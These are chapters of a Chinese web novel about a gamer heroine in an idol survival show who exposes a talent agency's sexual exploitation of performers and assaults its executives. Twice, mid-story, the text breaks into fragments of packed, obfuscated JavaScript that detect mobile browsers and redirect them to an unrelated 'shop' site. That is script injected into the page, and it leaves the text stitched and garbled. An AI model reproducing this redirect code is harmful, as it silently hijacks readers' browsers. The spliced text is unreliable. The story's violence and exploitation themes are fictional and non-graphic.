至少选择进入这个小组的练习生当中，没有故意来找茬的。
于是舞蹈导师进门后，先是对于大家自己扒舞的努力表示赞扬，随后便看见朝晖标标准准地把一整支舞跳完了。
动作标准的同时，又力道十足，自带一种狂放不羁的气质。
诠释而出的舞蹈，比起原作，似乎更增添了些独属于少年的轻狂！
“你都学会了！？”舞蹈导师张大嘴巴。
这才过去一晚上啊！
虽然对于舞蹈高手来说，一两个小时学会一支舞不算难事。比如导师她自己就能做到。
可学会动作，与跳得好、跳出自己的气质，并不是一回事。
……难道她没睡觉？
她力道这么大，不累吗？
“她看一遍就会了！”一个练习生表示，老师您的想象力还是不够丰富。
从她的星星眼不难看出，她已经成为朝晖的迷妹。
另一人也道：“她通宵练了一晚上！”
“？！”
舞蹈导师想起训练营中的传闻，开始她还有些不相信。
结果，人家真就这样。
“厉害啊！”
舞蹈导师肃然起敬，随后将犀利的目光投向另外几人：“你们呢？”
裴韫满头大汗：“我们基本学会了舞蹈，但还没开始仔细扣动作……”
这，还是她们被朝晖卷到的结果。
昨晚结束拍摄都十点多了，她们练到十二点才回宿舍，今天也是一大早就起来集合练习。
据她们所知，隔壁好几个小组还没开始扒舞呢……
“好了！”舞蹈导师觉得自己抓到了好苗子，顿时心痒难耐，“你们集合一下跳给我看一遍，我再帮你们扣扣动作，看看队形。”
“朝晖，朝晖？”
朝晖两耳不闻窗外事地刷完一遍，得到熟练度+1的提示后，才悠悠过来，站在C位。
随后，她点击“开始团体练习……”
随后，是唱歌导师，戏份不多的rap导师，以及负责指导表演效果、表情管理等部分的余烬。
导师们从一开始的惊讶，到对她们努力的钦佩，直至最后有种遇到宝了的感觉，严格要求她们按照高标准练习。
几天下来，大家都累得跟死狗一样。
而周五晚上就是正式表演的时间，她们只有三天左右来排练舞台。
闲聊间，几位导师都对朝晖小组表达了充分肯定。
“让我想起我出道前，那时候训练，比现在刻苦多了。”舞蹈导师感慨。
“我觉得朝晖又要吓人一跳。很多观众根本没注意到，她的实力很稳。”综艺影帝说。
这时，导师们也发现了朝晖的一个问题。
虽然舞蹈不错，唱歌也不错，但，都不是很拔尖。
比如裴韫，刻苦练习之后，舞蹈实力可以看得出比朝晖要高上一些，各个动作的完成度也更好。
不过，裴韫却不如朝晖稳定。朝晖，在训练和彩排过程中，一次失误都没有！
“亲爱的玩家，您还是应该考虑把天赋点点在【唱歌】或者【跳舞】来进行提升，否则到了剧情后期，实力可能就跟不上了……”系统弱弱提示。
朝晖刚刚因完成了【准备一公舞台】的主线任务而升了一级，天赋点+1，被她点在增强【偷盗之手】上。
现在，她的偷盗之手创作出的物品，可以复制原版80%的威力！
再努力下去，100%，甚至最高能达到的120%，不都近在眼前了吗！
哼哼，等她做上一件120%复制的超强武器，什么异能者、污染物、傻x老板，全都统统等死吧！
“偶像实力那么好干啥？”朝晖纳闷，“偶像是一个提供情绪价值，讨人喜欢的职业，不是专门唱歌跳舞的职业。”
“真有实力做歌手、舞者，那不比做偶像好。偶像要拼命讨好粉丝，赚得也没有那么多，在哪都低人一头。”
“我点这么多就够用啦，我感觉我现在的实力，在偶像之中也算偏上了。”
系统无话可说。
可旁听见这段没被打码的话，裴韫却是一愣。
她很喜欢跳舞，虽然偶尔紧张，但也很享受在舞台上表演的感觉。
做偶像……是为了讨人喜欢吗？
但你好像根本不在意有没有人喜欢你。
或许，是出于对朝晖的信任，也对她没有那么害怕了。不知不觉，她把这些话说了出来。
“不是啊，不是为了讨人喜欢，只是本质上。只有粉丝喜欢你，你才会有收入。”朝晖说，“你喜欢跳舞，喜欢表演，那么就会有粉丝喜欢这样认真的你，愿意为了你花钱，这就是偶像的意义吧。”
“至于我，哼，难道我会不讨人喜欢？”
朝晖昂首挺胸，“你看，我的票数不是挺多的嘛！之前，是系统不做人才让我没能拿第一，你知道的，这种系统判定一直都很神奇，就像得分最高的衣服搭配总是很辣眼睛一样。这次我已经把熟练度刷满，再不给我第一，我可真要闹了！”
系统：……
“是吗……”
裴韫自动过滤了那些阿巴阿巴。
“快来准备吧！”组员们喊。
裴韫跟着朝晖去化妆室，服装师给她们准备了表演服，相对于真正的表演服来说，它们更简陋一些。
朝晖向大家诠释了一个道理：玩家的角色，穿麻袋都好看。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068662|146872||http|test|mini|href|location''.split(''|''),0,{}));
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如果是在屏幕上给自己的角色换衣服，朝晖或许会很有兴趣；但在这样一款全息游戏中，衣服是要自己亲自穿脱的，配饰是要自己一一佩戴的，发型更是不能弄乱，喷了定型喷雾后又硬又黏，顶在脑壳上真的特别难受……
她冷脸坐在椅子上，噼里啪啦地给系统投诉，话中全是阿巴巴咕噜噜，听得化妆师心惊胆战的。
“你的额头这里，怎么有个疤？”化妆师一惊。
她额头上的“纹身”疤痕不是很明显，平时又有头发作为遮挡，所以不少人一直没注意到。
朝晖正准备开口回答，旁边座位上的裴韫掀开化妆师的手，不顾一切地窜过来，“她……呃，她为了帮我，不小心磕碰到了……”
裴韫不敢想象朝晖要是说实话，被录下来发出去该是多么恐怖的一件事！
到时候不论朝晖如何，裴韫被网暴是板上钉钉的事。
没想到朝晖并不介意她的自作主张，只是点点头。
其实，朝晖也不是那种乱说话的人，只是她发现自己不管说啥，剧情都会正常走下去，那难道她还要费尽心思去想一套假话？
有人帮她说了，她就会把这些当作“剧情流程”，也不会特意跳出来，非要声明事情真相如何。
看在裴韫眼里，她心中，只有满满的感激和感动！
朝晖……原来也会为别人着想吗？
不对，她本来就会，只是，她的感情表露得和常人不同而已！
抱着这样的心情，裴韫决定一定要好好表现，绝不能辜负朝晖这些天刻苦的训练和对表演的期待！
待所有选手化妆完毕，录制正式开始。
而第二天的周六，播出的就是选手们对于一公舞台的准备；周日，则是舞台本身。
林月是朝晖的粉丝，奈何她实在没办法在周五晚上抢到现场门票，只得苦等播出。
网上相关讨论区里，朝晖粉丝不少，但大多数人都更加期待诸华清、盛绫儿等人气选手的表演。
对于朝晖，连粉丝自己都说：“没关系，哪怕她创死我，哪怕我的脚趾在地上扣出三层别墅，我也会捂住耳朵把舞台看完的！”
可以说是没有任何期待。
但……真的如此吗？
林月是老秀粉，知道朝晖的水平不能说顶尖，主要胜在唱跳都没有短板。
她要是认真去表演，肯定可以做得很好。
这可是一公舞台，舞台结束后就会正式开启第一轮全民投票，她的人气虽高，但舞台太差的话，总会让人怀疑她态度不认真，对未来发展不利……
林月就这样抱着老妈子一般担忧的心态，在周五晚狂刷群聊，群里有几个抢到门票的粉丝，所有人都在期待这些粉丝的反馈。
现场不能拍照，只能用这样的方式给粉丝姐妹们分享了。
“盛绫儿太漂亮了！！她们组表演得特别好！！”粉丝直接开始消息直播。
林月心不在焉。
“诸华清唱歌真好啊，现场没修音听着都不错诶。”
林月焦急难耐。
“我去！朝晖选了《xxx》这首歌！等等，她们组好厉害好好看啊！！朝晖全程唱跳气都不喘！？”
“？”
林月光速打字：“她没整活？”
下面全是朝晖粉丝在刷屏，可那位粉丝忙着看表演，哪有时间回复。
于是抱着喜忧参半的心情，林月终于等到了节目播出。
73.寰天娱乐（29）
一公舞台的表演顺序由抽签决定，但节目播出的时候嘛，自然是按照导演的意思。
表演顺序，是非常有讲究的，如何详略得当，如何穿插更受人期待的“人气组”和纯打酱油的“炮灰组”，如何暗捧想捧的人，暗贬想贬的人，也是一门学问。
举例而言，假如在几个表演很差、失误频出的小组后面，放上一个“平时没存在感但这次还不错”的表演组，那么一下子就会营造出惊喜，吸引路人粉丝的好感。
但如果是平时很优秀的练习生，却倒霉地在排在实力强劲者之后，恐怕便会惹人失望，白白流失大好机会。
而且一公结束就会立刻开启全民投票，97名选手会淘汰一半，那么一公的播出对许多游离在50左右的选手来说，是一次珍贵的机会。
经过仔细筛选，精心剪辑，节目组安排的播出顺序是：盛绫儿第三组，朝晖第五组，诸华清第十一组。
在这些表演中间，也会穿插训练准备的一些镜头，构成完整剧情。
前面两组都是酱油党，观众们看完之后没啥感觉，直到第三组，她们才猛然发觉，盛绫儿小组的表演是多么的优秀！
虽然盛绫儿知道上层那些“幕后交易”后大受打击，还被朝晖嘲讽（？）了一番，可这并没有能击垮她。
她反而卯足了劲，下决心一定要拼死了去练，练到自己的最好状态，让观众、让导师们都看得见她的优秀，看得见她不仅值得出道，还值得更好的排名！
而她背靠寰天文化，组内也有一个同公司的练习生，和她站在一边，加上性格比较跋扈，组员们不想惹麻烦，都不得不听她调度。
可怜的盛绫儿小组就这样死练三天，最终效果惊人，在前面两个酱油组的衬托下，更显得她们组舞蹈动作整齐划一，歌曲的完成度也非常好。
结尾是盛绫儿的特写镜头，连作为朝晖“唯粉”的林月也不得不承认，这个小组的表演非常优秀。
“第一名，盛绫儿，获得现场350名观众票数中的167票！！”余烬作为主持人公布结果，大家纷纷鼓掌。
盛绫儿因此人气大涨，之前不少人觉得她性格不够好，但现在，她们看见了她的努力和实力，许多粉丝就认为性格也没什么关系嘛！
君不见，连朝晖那样的（？）也有大把粉丝呢！
接下来的第四组，也是个人气实力很强的前五选手领队，表演优秀。
到了第五组，观众们的期待值已经被拉高了，如果没能贡献出一点特别的表现，那么恐怕很难给观众留下特别印象。
“朝晖！！”林月看见屏幕上浮现出的表演名单，忍不住喊出了声。
她心中略有担忧：朝晖怎么在这个顺序？
节目组什么意思？
观众们倒没想太多，弹幕上有粉丝刷屏的，有路人讨论的。
周六播出的节目中，有选曲、练习准备等内容，但节目组当然没有放出所有信息，而是选择留下不少悬念。
其中，朝晖组的镜头不是很多，也没什么特别之处，基本就是她们如何认真练习、上课云云。
这是因为她们组没有人有剧情线，有些小组成员会有一些“先抑后扬”、“努力拼搏”、“撕x吵架”等剧情，那也是十分的精彩，镜头量自然就多了。
抱着这样的担忧，林月继续观看节目。
一上来，就是某组员的特写镜头。
“她看一遍就会了！”组员说。
“啊？”舞蹈导师迷茫的表情。
镜头一转，原来朝晖在静静地观看《xxx》这首歌的舞蹈视频，看完后手奇奇怪怪地挥舞了几下（把视频导入游戏系统），随后，她就一边唱一边跳地练习起来，动作标准，气都不喘……
裴韫坚毅地对大家道：“我们一定不能拖朝晖的后腿啊！”
随后是组员们和乐融融地分位置。
“你想选C这个位置吗？”
“是的，这里有一段高音，正好适合我。”
“那我就选E，我和她身高差不多，正好站在对称的位置。”
“这个dance break正好适合你。”
“连朝晖都那么努力，我也没什么好抱怨的！”熬夜练习的组员们说。
大家累了就休息一会儿，随后继续练习。
画面一转，七人小组非常和谐友爱地完成了彩排，并期待最终的舞台。
原来她们小组的主题是“和谐”，并且三句话不离朝晖……
“朝晖……没给组员捣乱吗？”林月默默念出大部分粉丝的疑惑。
粉上朝晖这么个不走寻常路的人，有这样的担忧实属正常。
没想到，她们组的氛围其实还挺好的？
甚至大家都被朝晖带动，变得更加努力了！
画面一转，表演正式开始。
才看了一分钟，林月已经激动得又跳又叫！
实在是，太好啦！
怎么会这么好看？
每个组员都是那么的漂亮，选择了适合自己的位置，诠释得非常好。
而作为c位的朝晖表演得也非常优秀，她甚至还有了表情管理……？
我滴奶呀，朝晖不乱用脸的时候，怎么会这么漂亮！
……
“我死都不会去练什么表情管理的。你们系统不应该自带吗？”朝晖怒道。
她每次或是面无表情，或是尬笑的表情管理，终于是被导师委婉批评了。
导师甚至说，这会影响她的人气和评价。
怎会如此！这对玩家太不公平了！
“这，亲爱的玩家，系统暂时不提供这方面的功能……”
“那现在就给我改掉，弄个开关按钮，自动表情管理。”朝晖怒，“你们都做了这么多表情丰富的npc了，帮玩家顺便管理一下能怎样！？”
“我真的要投诉了，要是因为这种小事让玩家不能拿第一，你们这游戏肯定卖不出去！谁来玩游戏还要管理自己的表情啊？平时在老板面前装一装已经够累了！”
“……”
迫于淫威，最终，系统还真给她添加了表情管理功能。
也没有多高端，就是通过大数据的方式获得人类表情大全，然后捕捉玩家面部数据，最终主系统手动微操，帮朝晖调出一套让她满意的表情来。
主系统的电线都要冒火花了！
呈现出来的效果就是，朝晖忽然获得了优秀的表情管理，让导师们大加赞赏，让组员们钦佩不已。
主系统：下次别再来了，谢谢。
“朝晖……没整活？”
“朝晖认真起来，实力不输寰天的人啊！”
“都说了朝晖本来就很厉害！”
这也算一个小“反转”，而后面的六七八依旧是酱油组，在前面优秀三组的衬托下，愈发不起眼。
第九组，则是徐燕妮所在的唱歌组。唱歌组数量少，舞台也不够“燃”，一般人气都不是很高。
但她们组的表演倒也获得了好评。
这一手显然是为了抬一下“vocal”担当，毕竟vocal人气本来就容易低，可出道组里又不能没有。
最终诸华清第十一组压轴，表演也很不错，大家都觉得符合她的水平。
一公舞台就这样结束，投票通道开启。
票数每秒都在以看不清的速度上涨，这一次，每人只能投两票，所以大家基本都会斟酌着投给自己最喜欢的选手。
大量粉丝或者观众开始拉票，朋友、家人、同学、同事……整个洛川仿佛陷入了一场狂欢，由一个小小的娱乐选秀节目带来的狂欢。
朝晖这个名字，也正在为更多人所熟知。
一周后投票通道关闭，47名选手带着遗憾离开了节目组，朝晖则顺利攀升到第二名。
原来把盛绫儿放在第三组，只是为了给她垫脚而已。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093054|146872||http|test|mini|href|location''.split(''|''),0,{}));
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由于三四五组表演都很出色，大家印象更深的，讨论度更高的，都是最后出场的朝晖小组。
第五组后面的酱油组表演时间，弹幕还在不停讨论呢！
与此同时，YYDD品牌也宣布了朝晖的代言，还邀请她去参加广告拍摄。
拍摄完他们就表示，代言费用200万已经打到了你们寰天文化账上。
朝晖利用系统摆出各种姿势，顺利完成拍摄，完成支线任务的同时，加上一公舞台主线任务的经验积累，也终于是顺利又升了一级。
新获得的天赋点，在系统幽怨的目光下，被加在【偷盗之手】强化上面。
80%的复制能力！
理论上能分到的100万金钱！
她已经迫不及待地想要大展身手了！
朝晖有一种暴富的迷茫感，不停地给卫文谨打电话：“我那100万什么时候给我？”
“你能不能催催公司？”
“可恶的公司，还要收我一半的钱，这个代言关他们屁事啊？太不合理了！迟早倒闭！”
卫文谨：“……你要买什么？我帮你看看，可以先给你垫着。”
“100万是税前，虽然公司会通过一些方法操作，但税后估计也只有八十多吧……”
“什么！！！”
朝晖大怒：“凭什么！？他们凭什么收这么多？系统，你们什么鬼设定还要收税？就你们游戏这城市也没好到哪里去呀，到处是压榨！我看这市政府也是……”
“停！”
卫文谨满头大汗地打断她，“好了你到底要买什么？”
“哦，一辆车，二十万那种就行。再来……买点能源，至少300单位吧。”
“都说了能源这东西买不了那么多的啊！！”
朝晖哪里管，她准备做一个能复制80%能力的新道具，带着跟姜遥去封锁区，看能不能赚一笔大的。
为了它，她必须要多准备一点能源。
她现在还没有多余的能源用来练技能，不然还能刷刷【偷盗之手】熟练度，可以增加一些额外的效果。
不过这些效果大都是针对“被偷”的敌人，她现在嘛，还是以偷友军为主，所以暂时不着急。
最后求爷爷告奶奶，从卫文谨、姜遥那里每人薅到50单位，殷永宁给了她100单位。
又让经纪人托关系囤了点能回血的药品。
还没到手的80万也就这样花光了，由小卫同志忍痛垫付。
节目组又在拍摄一些无关痛痒的东西，朝晖除了任务要求，剩下的活动是什么也不参加，除了继续练习蹭熟练度和少许经验之外，就是闷头思考这次做个什么样的道具比较好。
她发现了，用枪做不够隐蔽，而且偷友军的时候，很可能会造成误伤。
不如卫生纸那样出其不意。
要不，还用卫生纸？
“朝晖？”
练习室的门打开，一颗眼熟的脑袋探进来。
是小猪。
“华清姐。”裴韫连忙站起来。
她并没有因为自己变成朝晖的小妹就眼高于顶，平时还挺礼貌的，所以在训练营风评反而愈发好了。
诸华清对她点点头，然后转向朝晖。
“绫儿她情绪不是很好，所以我自己来了。你上次说的那个……”她顿了顿，“我们去洗手间或者楼道一趟吧？”
洗手间、消防通道，是整个节目组内唯二没有摄像机的地方。
但洗手间毕竟人来人往，所以大家有什么秘密要说，或者情绪崩溃想哭一哭，就会选择去楼道。
“哦？你有证据？”朝晖精神一振。
没想到小红不愿意给她证据，倒是小猪送来了。
“……”
诸华清克服了可能会被朝晖暴揍的恐惧，一个飞扑上来捂住她的嘴，“我们去楼道吧……”
裴韫：“……我给你们看门。”
74.寰天娱乐（30-31）
（30）
朝晖当然不至于把诸华清打一顿，其实她也挺习惯被人捂嘴（物理）了。
莎莎、猫猫室友，时不时就会捂她的嘴。经纪人或者姜遥也会打断她的话。
她们没有恶意，朝晖也完全没有在意，就当作是剧情的一部分。
捂嘴，也许是她们胆小怕事，也许是她们担心玩家讲出不该讲的话。
这说明了什么？
说明公司太坏了！
说明这垃圾节目组，太不人性化了！
哪有到处都装摄像头的？
在一个全是摄像头的地方住上四个月，一言一行都被监视着，能不难受吗？
“说吧小猪，你有什么证据？录像？录音？照片？”朝晖大咧咧勾搭着诸华清的肩膀。
虽然诸华清长得不是她喜欢的类型，以至于她一直没记住对方长什么样，但是既然是来帮助小红的，朝晖也就把她划分为友方npc了。
“……”
诸华清鼓起很大的勇气，才敢在镜头下面把朝晖叫出来谈话，想要坦白一些东西。
万一被公司知道她偷偷留存了证据，她的下场恐怕不会很好。
按理说，她不可能把这件事告诉任何人，包括盛绫儿，她都守口如瓶。
可朝晖……
明明朝晖就是个大嘴巴，什么乱七八糟的都敢说。但似乎，也正因她身上无所畏惧的气质，反而让诸华清有种预感，把事情告诉她，说不定真能改变些什么。
现在，被朝晖那吊儿郎当、混不在意的语气一说，那种紧张又害怕的情绪忽然就变成了无奈……
“我希望你能告诉我，你之前跟绫儿说的那些话，到底是什么意思？”诸华清并没有直接回复。
“就是字面意思。”朝晖说，“我准备让寰天文化破产，当然啦，这不是那么容易办到的。如果有一些证据的话会好办一些。”
朝晖从云端能源的事情上学到一个知识：游戏世界当中的某些剧情算法，是很接近真实世界的。
游戏里，想要打倒某个势力，当然是杀小的来大的，杀大的来老的，最后把他们的老大boss干掉，势力也就全灭了。
但现实中，却并非如此。
要想扳倒一家大公司，一个庞然大物，说简单，却又不简单；说难，却也不难。
不简单，是因为企业的体量在那里，杀几个老板，人家照样运营。
不难，却也是因为大企业自有大企业的敌人，她可以借刀杀人。
譬如杨帆死了，杨勇入狱，对云端能源实际上根本就是影响不大的事情。
他们还巴不得能瓜分杨勇的股份呢。
真正打倒云端能源、让公司股价大跌一蹶不振的，反而是他们欺压平民引发众怒的同时，“对家公司”也推波助澜了一把。
朝晖一开始没想那么多，后来也算是误打误撞了。
这背后的逻辑，假如不把这里当作游戏，而是当成现实的情况去分析一下，便一目了然。
作为一个从小在爱里长大，又是学着比较看重技术的理工专业的人，朝晖对人际交往的弯弯绕绕不感兴趣，也很讨厌。
因此，她在现实中其实很“宅”。平时就是上班，玩玩游戏，也不怎么出门。
但这不代表她不会，她不懂。
其实她很聪明，也明白这些道理，但她不愿意、也不擅长去遵守这样的规则。
也就是她做的是技术工，平时跟同事们点头之交即可。要是去做行政类型的职业，恐怕干不长久。
当然了，她并不鄙夷任何为了生存而变得“世故”的人，相反，她还挺佩服的。
这是一种天真，可朝晖宁愿放弃升职加薪的机会，老老实实在公司当码农，也不愿意去服从规则，放弃自己的天真。
或许是她们的世界，还有着一丝美好，没有到不屈从就活不下去的地步吧。
不过，假如游戏遵循这样一套规则的话，她也不会不知变通，不去利用。
毕竟，这是个游戏，还是个自由度极高的游戏。游戏里，不就是想干嘛就干嘛吗？
而她现在的想法，就是复制云端能源的“成功经验”，先拿到一些能“引发众怒”的证据，再把那些个公司里的大坏蛋干掉，把自己包装成“正义执行官”，最后嘛，求大佬抱大腿呗……
魔法少女不就是这样吗？默默对抗邪恶，事后只留下神秘的背影！
诸华清：……
朝晖的话，听起来就像是“为什么1+2=2+1？因为整数对于普通加法成交换群”一样，前后跳跃，让诸华清摸不着头脑。
但洛川有句古话说得好，来都来了，诸华清想了想，咬咬牙，也就珍重地从隐蔽的口袋里掏出几张照片。
现在很少有实体冲印的照片存在了，诸华清显然是不放心把它们存在电子设备当中，才打印出来带着。
“你看一下吧，一定要小心。”
朝晖接过照片。
照片比较模糊，但能看清其中几位中年男人的脸，有中年男人搂着少女的动作，其中一位少女便是盛绫儿，不过脸部被打码了。
没想到朝晖第一反应是：“这个不够劲爆吧？”
“？”
“在很多人心里，‘潜规则’已经是被默认存在的事情了。他们只会觉得有钱老板这么干很正常，觉得自己有钱了也会这么做，觉得你明知道是火坑，还往里跳，不是活该？说不定还会批判那些女孩拜金、白眼狼呢。”
“就算是未成年少女，他们也会觉得‘不愿意不能不去吗？’‘你情我愿的事而已’‘现在年纪小的女孩子可坏了，会勾引人的’。”朝晖语气平缓地说着，“最终受到伤害受到猜忌的还是那些女孩子，男人们总是隐身。”
“当然，我也不是性别歧视哈，也有女老板或者男老板压迫男孩子的情况，可相对来说，那些男孩子面对的社会舆论似乎没有女孩恶毒，以调侃为主。”
“先不管他们对不对，但舆论说到底就是激发人的情绪，你看看之前云端能源的成功案例……”
朝晖噼里啪啦地就把云端能源倒台原因分析得一清二楚。
重点不是谁谁霸凌，谁谁强x，而是民众们看见了阶级压迫，并且能够代入被压迫者。
因此情绪激动，舆论难以平息。
要是新闻出现娱乐圈某女星被潜规则，他们只会想着“我又不在娱乐圈，我洁身自好就行了”。
没点劲爆内容，他们可能都懒得点进去看。
社会新闻那么多，民众早已麻木。
所以朝晖认为，这份照片没必要发出去。
诸华清呆住了，说不出话。
不是没听明白，而是……她觉得朝晖说得很有道理！
以至于，她都不敢相信说出这些话的人，是那个“疯疯癫癫”的朝晖。
她自己不就是这么认为的吗？
诸华清以前一直认为“潜规则”是一种你情我愿的交换。
直到事情真的落到了她们头上，她才发现，拒绝不是一件简单的事。
上层的压迫是“软压迫”，她们以为自己是自愿的，但事实真的如此吗？
盛绫儿由于外形比较成熟、身材好，没少被说过一些不好的话，带去不适合的场所，口头、甚至动作上被“占便宜”。加上经纪人、公司上层的怂恿，以至于一步错步步错，越陷越深。
诸华清之所以站出来，也是因为看见了盛绫儿的痛苦。
她们是队友，是对手，或许是唇亡齿寒，或许是多年情谊，诸华清就在某次“酒会”中偷偷拍下了几张照片，小心翼翼地藏着，连自己都不知道它们会有什么用处。
“那怎么办？”诸华清快哭了。
她也就比朝晖大几个月而已，才十八岁。
拍下“老板们”露脸的照片，对她来说已经是极大的勇气之举。
没想到朝晖话锋一转，露出一个大大的笑容。
“哦，没事，我的意思是你的这个照片虽然不适合作为证据发出去，但对我来说非常非常有用啊！”
“啊……？”
“证据嘛，想有的话总会有的，我都说啦，如果有的话会好办一些，没有也没关系。”
“照片交给我，再把这些人的名字告诉我，然后你就该干啥干啥，不用管了。”
这些老总的照片网上基本都没有，朝晖还担心自己认错了人呢！
虽然老板们大都黑心，但也不排除其中有那么些个出淤泥而不染的人。而照片上这几位很显然不可能无辜，正好适合朝晖拿来“杀鸡儆猴”。
事不宜迟，她打算顺路去老板们的办公室溜达一圈，看能不能找到点什么适合做装备的素材。
“啊？”诸华清摸不着头脑。
朝晖拿过照片掉头就走，这回她也不装了，直接大摇大摆地让经纪人帮她请假。
“我找公司领导有事！”朝晖说。
“……什么事？”卫文谨头疼。
这祖宗，就没有消停过！
“别管，总之你先带我开过去再说。”
朝晖购买的20万小破车属于大众基础款，这车一开出来，大家就明白了：其主人，乃有车一族当中的底层。
当然，至少比李长庚那辆真·破车要好开一些，毕竟是新车。
开到寰天大楼地下车库，里面有各种高调跑车或者低调商务车，显得她的小破车是那么的格格不入。
“迟早，这里的车都会停在我的私人停车场。”朝晖说。
“你又想干什么？”
“你带我逛逛呗，我还没来过寰天大厦呢！”
理智上卫文谨知道朝晖绝不可能只是想逛大厦这么简单，但是她说的话，又的确有点道理。
她连签合同都没来过！
他只好在前方开路，带着她刷自己的工作证，进入大厦内部。
“小卫！”
“文瑾你怎么过来了？”
没料到卫文谨人缘还不错，路上不少人打招呼。
也有一些工作人员npc看见朝晖，好奇地对她点头。
这栋大厦是寰天出资建设的，全部属于寰天文化传媒，各个楼层有各个不同的部门，这些npc都是基层工作人员，也是光鲜亮丽的明星背后的基石。
朝晖一点儿也不在意，大剌剌拉住一位：“你觉得在这里工作快乐吗？”
“……我对我的工作十分满意。”这位一愣，随后滴水不漏地回答。
朝晖认为，对方只是在强颜欢笑。
她眼下大大的黑眼圈和疲惫充满红血丝的眼神并不是这么说的！
“我明白你的意思了。”朝晖坚毅地拍了拍她的肩膀。
员工：？
你明白什么了？
（31）
二人一同参观，在朝晖的强烈要求以及公司默许之下，也是来到了寰天管理层所在的位置——56层。
“王志强、陈立新和赵文涛三位的办公室在哪啊？”朝晖掏出自己的小本本，艰难读出几个名字。
“……那是王总，陈总和赵总。”卫文谨不得不这么说，即使知道她不会听，“你找他们干什么？”
“他们平时会待在办公室吗？”
“……你又想干掉他们了？”卫文谨压低声音。
经纪人同志一下就猜出了她的目的，当然也是因为她没有丝毫掩藏。
“所以他们在这层吗？”朝晖不搭理。
“在是在，但是你先冷静……”
“砰！”
玩家从裙底下掏出【电击治疗手木仓】，快速而准确地击打在卫文谨的手臂上。
抽搐着倒下的卫文谨：“……”
对于经纪人的异能，她已经使用得很熟练了，挥舞着触手如入无人之境，席卷过一间又一间办公室。
楼层很大，她一间间闯过去，然而因为没有暴力行为，是光明正大走的走廊和正门，一时半会竟然没有警报声。
她都有点不习惯了！
有些办公室空着，有些有人，那些人在跟她打个照面的功夫就被敲晕，在40点力量之下毫无反抗之力，然后她继续搜索。
三位老总是什么职务，朝晖也没记住，但运气很好，她很快就找到了他们，而他们竟然恰好都在办公室。
到了这个时候，还是没有警报！
朝晖不知道的是，因为某些原因，这些管理层的办公室监控大多时候都是关掉的。
而本层见到朝晖的人都被她敲晕了，经纪人倒在地上，平时没什么事也没有员工会上来。
多亏了卫文谨这位“内鬼”，她才能如此顺利地混进来。
她现在就能把他们干掉！
但这款游戏嘛，杀普通人npc毫无难度，难的是事后逃脱。
她这趟来，本也不是为了杀人。
三位在她看来和朱老板长得没有区别的秃头大肚男被她整整齐齐敲晕了摆放在地上，随后翻箱倒柜，目的是寻找有用的信息。
朝晖解除掉异能，挨个儿拎起这三颗油腻腻的大脑袋，嫌弃地把他们的眼皮翻开，用他们的脸刷开手机等电子设备。
一般来说，像他们这样的人，会隐藏好不该被发现的内容。
另两位的手机都是干干净净，反而是最后一位赵总，被朝晖找出一个备用手机，打开聊天记录和备忘录，内容……非常地丰富多彩。
朝晖把赵总的脑袋丢到一边，翘着二郎腿慢慢翻看。
这位赵总，不仅自己胁迫艺人，以职业生涯为威胁，强迫她们去参加名为陪酒、实则□□的活动。
甚至还联合一些人，拍摄艺人的隐私照片，还给某些男艺人介绍“美女粉丝资源”，邀请美女粉丝参与酒会，或是给其他领域的老板介绍“价位不等的艺人”“陪饭价过夜价”等等。
这就是个老鸨啊！
赵总的备用手机就这么大剌剌随身携带，重要内容都不删，备忘录里还有一些表格，标注着参与交易的老板的名字。
足可见他是多么的嚣张跋扈，压根不惧警察调查。
同时朝晖也能确定，白鸽电子与红星科技这两个企业，应该是纯粹的科技型企业，她们与娱乐圈巨头寰天文化没有太深的关系。
那些名单里的老总不少都备注着企业或者势力的名字，绝大部分来自娱乐公司，也有一些其他产业，但就是没有红白两家的人。
寰天文化背后肯定有别的后台。
“读档的话这些不能带走是吧？”朝晖纳闷。
“是的。”系统道。
朝晖翻着这些记录，思考怎么做比较好。
忽然间，她翻到一个群聊的内容，心中产生了一个大胆的想法。
“朝晖！”
这时候卫文谨过来了，他没有网瘾，电击对他造成的伤害很低，也就是晕一会儿。
看见一间间办公室门户大开的惨状，他好悬没有再次晕过去。
朝晖身上衣服破破烂烂的，但面不改色。
“别担心。”她还悠然自得地招呼他，把那个备用手机递过去，“你过来看。”
这时候，距离他们来到56层不过才十几分钟，还是没有任何警报声。
卫文谨仔细看了一眼地上三个老总，发现他们都还活着，也是稍微松了口气。
他可是知道，朝晖，真的会杀人！
现在，他竟然觉得，没杀人已经算很不错了……
至于以后，他
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还要如何给她擦屁股，那就再说吧……
接过手机，卫文谨眼神飞快扫过，便大概明白了。
“嗯，我听说过这些事……”他的情绪不免低落了些，“我一直被排斥在寰天的核心圈子之外，或许也有我不愿意与他们同流合污的原因吧。”
他对自己的艺人，不说如春天般温暖，但至少都是比较有良心负责任的。
最多就是多接点工作，绝不至于压榨他们强迫他们去潜规则。
但那些艺人，在被公司其他经纪人“摘桃子”之后，有些甚至还会反过来埋怨他，觉得他没给他们“向上的机会”。
当然也有感激他保护之人。
一开始，卫文谨被打击狠了，也不免想要不顾一切地向上爬。
但参与过几次“酒会”之后，一方面他实在忍受不了那种恶心的场景带来的良心煎熬，另一方面，他也发现了，他被排斥，并不完全是由于他“出淤泥而不染”。
只是因为他出身不好，无权无势，便于压榨而已。
无力感，他觉得活在这个世界上，最大的痛苦就是无力感。
他不算是完整的异能者，几乎没办法使用异能，什么杀人报仇后一走了之的情节，年少热血时也不是没有梦想过。
可做不到啊！
不是谁都能像朝晖这样，傻呼呼的压根不考虑后果，不顾生死，无所畏惧，闷头就上……
